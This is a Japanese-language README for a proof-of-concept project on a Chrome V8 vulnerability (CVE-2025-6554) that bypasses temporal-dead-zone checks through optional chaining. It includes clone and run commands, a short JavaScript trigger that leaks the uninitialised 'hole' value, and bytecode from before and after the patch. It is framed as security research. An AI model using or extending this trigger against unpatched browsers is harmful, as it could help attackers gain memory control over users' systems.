
CVE-2025-6554 PoC
⚠️ セキュリティ研究プロジェクト - このプロジェクトはセキュリティ研究および教育目的のみに使用されます。本番環境では使用しないでください。
CVE-2025-6554 は、Chrome V8 エンジンにおける深刻な脆弱性であり、JavaScript の「Temporal Dead Zone」(TDZ)チェック機構に関係します。このプロジェクトは、完全な脆弱性概念実証コードとデモツールを提供します。
この脆弱性は、V8 エンジンがオプショナルチェーン演算子(?.)を処理する際に、変数が初期化されているかどうかを正しくチェックせず、未宣言の変数へのアクセスを許可し、TDZ 保護メカニズムを回避するものです。
git clone https://github.com/9Insomnie/CVE-2025-6554.git
cd CVE-2025-6554
CVE-2025-6554/
├── Exploit.js # 原始漏洞利用代码
├── Test-Exploit.js # 测试版本
├── poc.html # 检测文件
├── README.md # 项目说明
└── 使用说明.md # 详细使用指南
# V8のd8デバッガで実行
c:\path\to\v8\out\x64.debug\d8 --allow-natives-syntax --print-bytecode Exploit.js
# テストバージョンを実行
node Test-Exploit.js
# または元のエクスプロイトコードを実行
node Exploit.js
ブラウザで直接HTMLファイルを開いてテストします(関連機能のサポートが必要です)。
function leak_hole() {
let x;
delete x?.[y]?.a; // 使用未声明的变量y
return y; // 应该抛出ReferenceError
let y; // y在这里才声明
}
パッチ適用前:
0x32600100133 @ 11 : b6 00 ThrowReferenceErrorIfHole [0]
パッチ適用後:
0x29f00100133 @ 11 : b6 00 ThrowReferenceErrorIfHole [0]
0x29f00100144 @ 28 : b6 00 ThrowReferenceErrorIfHole [0] // 新增检查
delete x?.[y]?.a# 脆弱性が存在するか確認
node Test-Exploit.js
# 詳細なバイトコードを表示
d8 --allow-natives-syntax --print-bytecode Exploit.js
この脆弱性はセキュリティ研究者によって発見され、V8エンジンにおけるTDZチェックメカニズムに関係します。オプショナルチェーン演算子を使用することで、攻撃者は変数初期化チェックをバイパスし、メモリ制御を取得できます。
このプロジェクトはMITライセンスの下で提供されています - 詳細については LICENSE ファイルを参照してください。
⚠️ 免責事項: このプロジェクトはセキュリティ研究および教育目的のみに使用されます。使用者は自己責任で使用し、作者は一切の法的責任を負いません。
🔒 セキュリティ報告: 新たなセキュリティ問題を発見された場合は、GitHub Issues までご連絡ください。